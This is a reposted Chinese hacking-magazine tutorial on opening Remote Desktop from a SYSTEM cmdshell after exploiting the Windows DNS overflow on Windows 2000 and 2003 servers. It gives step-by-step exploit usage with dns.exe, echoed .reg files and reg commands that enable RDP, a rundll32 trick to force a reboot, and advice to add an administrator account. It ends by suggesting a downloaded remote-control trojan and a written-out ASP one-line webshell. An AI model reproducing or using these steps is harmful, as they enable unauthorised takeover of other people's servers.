淺談CMD下開啓遠程桌面服務

淺談CMD下開啓遠程桌面服務
比較及時的一篇文章,很多人都卡在這裏。看看有新收穫

淺談CMD下開啓遠程桌面服務
hackest&shockboy [H.S.T]&[E.S.T]&[L.S.T]

此文章已發表在《黑客X檔案》第7期雜誌上  

一、緣起  

    近段時間微軟出現的DNS溢出漏洞瘋狂了一段時間,就是現在也還有許多服務器可以成功溢出。相信大家都有體驗過溢出的經驗了吧,嘿嘿。但是當我們溢出成功後,返回得到的就只有一個system權限的cmdshell。要是服務器開啓了遠程桌面服務,那我們直接加一個用戶,再添加進管理員組,就可以登錄服務器了。這樣的話,拿下存在DNS溢出的服務器只是分秒間的事情。從溢出到得到服務器控制權花不了多少時間。不過,要是服務器本身沒有開啓遠程桌面服務,就相對來說比較麻煩一點了。話雖如此,服務器本身沒開,那我們就幫它開嘛,嘿嘿。  

二、理論  

    在只有一個cmdshell的情況下,可能有不少菜菜不知道如何開啓遠程桌面服務。不過如果對遠程桌面服務比較瞭解的話,應該知道開啓它其實主要就是修改了註冊表的某些鍵值來實現的。如何在cmdshell下修改註冊表相關鍵值呢?根據系統的不同,方法也有些出入。Windows2000的服務器開戶遠程桌面服務一般都需要重啓一次才能生效,Windows2003的服務器開啓遠程桌面服務就一般都不需要重啓,直接更改註冊表相關鍵值即可生效!據網上的資料來看,基本上都是先echo一個*.reg註冊表文件,再使用regedit /s *.reg命令導入註冊表文件即可,當然2000的話還需要重啓才生效。

三、實踐

    理論總是理論,不實踐過永遠都只能是理論。所以我們找了些可以DNS溢出的服務器來做試驗,其中有2000系統的也有2003系統的,分別詳細說明——如何在cmdshell下開啓服務器的遠程桌面服務。  

1、2000系統  

   簡要說一下如何進行DNS溢出攻擊。我用的溢出利用程序是dns.exe,在CMD下運行它可以看到它的使用參數等信息。執行"dns -s IP"命令檢測目標IP是否存在DNS溢出漏洞,如圖1。在圖中我們可以看出目標主機存在DNS溢出漏洞,操作系統爲Windows 2000!接着我們進行溢出攻擊,執行"dns -t 2000all IP 1207"後提示要我們檢測返回的1100端口的shell,如圖2。"telnet IP 1100"成功得到返回的cmdshell,如圖3。注意目錄爲c:/WINNT/system32,頂部也明顯可以看到Windows 2000相關字樣。接着我們需要做的是使用"echo"命令寫入一個3389.reg註冊表文件。將如下代碼一行一行地複製到cmdshell窗口後按回車執行:

echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg  
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/netcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg  
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg  
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS/.DEFAULT/Keyboard Layout/Toggle] >>3389.reg  
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp] >>3389.reg  
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg

簡單說明一下,">"符號是覆蓋寫入文件,如無此文件則創建,有則覆蓋原來的內容寫入。">>"是追加寫入,即在原有文件內容的基礎上在後面寫入內容。這裏是寫入內容到3389.reg文件中!需要注意的是第二行,那個作用是寫入一行空格,至於爲什麼需要這樣,那是因爲.reg文件的格式必須如此!成功寫入完畢後接着執行導入操作,執行"regedit /s 3389.reg"。這樣註冊表文件就已經順利導入到註冊表裏去了。不過需要注意的是在cmdshell下不要輸錯任何一個字符,否則將無法執行,建議先自己打好在記事本上,確保無誤之後再複製到cmdshell窗口執行。然後需要做的事就是重啓了,如何使目標服務器重啓呢?和朋友多方測試後,覺得用下面這個方法比較妥當。在cmdshell下執行如下代碼:

@ECHO OFF & cd/d %temp% & echo [version] > {out}.inf  
(set inf=InstallHinfSection DefaultInstall)  
echo signature=$chicago$ >> {out}.inf  
echo [defaultinstall] >> {out}.inf
rundll32 setupapi,%inf% 1 %temp%/{out}.inf r

按順序將以上五行代碼一行一行地複製到cmdshell上,複製完一行按一次回車執行,五行都執行完畢後,服務器就會重啓的了。至於原理什麼的我就不廢話了。當然了,讓服務器重啓的方法比較多,比如結束掉系統關鍵進程、代碼模擬按鍵等都是可以的,不過個人認爲上面推薦的這個方法比較保險!如無意外,等待服務器完成重啓之後再連接目標發現遠程桌面服務已經成功開啓了,如圖4。至此Windows 2000操作系統溢出後返回的cmdshell下開啓遠程桌面服務就成功完成了。

2、2003系統  

   相對於2000的系統來說,2003cmdshell下開啓遠程桌面服務就比較容易一些了,起碼無需重啓嘛!第一種方法也是用"echo"命令寫入一個 3389.reg文件,再"regedit /s 3389.reg"導入註冊表文件即可開啓,比較簡單,與上面介紹的2000的開啓方法類似。將如下代碼一行一行地複製到cmdshell窗口後按回車執行:  

echo Windows Registry Editor Version 5.00 >3389.reg  
echo. >>3389.reg  
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server] >>3389.reg  
echo "fDenyTSConnections"=dword:00000000 >>3389.reg  
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp] >>3389.reg  
echo "PortNumber"=dword:00000d3d >>3389.reg  
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>3389.reg  
echo "PortNumber"=dword:00000d3d >>3389.reg  

完成以上操作後再執行"regedit /s 3389.reg"導入即可生效!不過這個方法相對來說比較麻煩,也比較複雜一些。我們還可以用另外一種比較簡單的方法來開啓遠程桌面服務的,嘿嘿。在介紹另一個操作方法之前,我們先來熟悉下2003系統下遠程桌面服務的一個最關鍵的註冊表鍵值。
在"HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"

下數值名稱爲"fDenyTSConnections"的這一項,可以看到它的數值數據爲1或0。數值爲1的時候關閉遠程桌面服務,數值爲0的時候開啓遠程桌面服務。換句話說,我們只要可以在cmdshell下更改這個關鍵的註冊表鍵值數據就可以達到實現開啓遠程桌面服務的目的了!有幸的是,在2003下有一個"reg"命令完全可以做到這一點,嘿嘿。這裏我們找一臺操作系統爲2003的服務器,通過和上面介紹的同樣方法溢出後返回一個cmdshell,如圖5。當我們嘗試連接的時候會發現根本無法連接上去,如圖6。下面詳細說明一下用"reg"命令開啓遠程桌面服務。執行:

reg query "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"  

我們發現"fDenyTSConnections"鍵值數據爲"0x1",如圖7。這個是十六進制數的1。上面提到,數據爲1則沒有開啓遠程桌面服務。我們要做的就是把"0x1"改成"0x0"!直接用"reg add"是不行的,必須把原來鍵值刪掉再添加!在cmdshell下執行:  

reg delete "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server" /v fDenyTSConnections  

會詢問是否"要刪除註冊表值 fDenyTSConnections 嗎",當然Yes了,如圖8。再執行:  

reg add "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0

提示操作成功完成,如圖9。這樣就把"fDenyTSConnections"的值改爲"0x0"了,我們可以執行:  

reg query "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"

我們可以查看一下,看看是不是真的改掉了,發現已經成功更改了數據,如圖10。現在再來連接服務器的3389看看,發現已經可以成功連接上了,加個用戶進去參觀咯,如圖11。至此2003下cmdshell開啓遠程桌面服務的方法也介紹完了。

四、其他

    當然了,溢出後也不一定要非要在cmdshell下開啓遠程桌面服務。可以echo個vbs文件,下載遠程控制木馬,然後在cmdshell裏運行一下木馬,上線就OK了。還有就是可以查詢一下目標IP是否綁定有網站,然後找到網站目錄,再用echo個一句話木馬進去(命令是:echo "<%execute request("cmd")%>" >WEB路徑/test.asp),然後提交大馬呀,上傳開3389的工具再開啓也行!總之方法不只一個,能達到目的就是好方法


 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章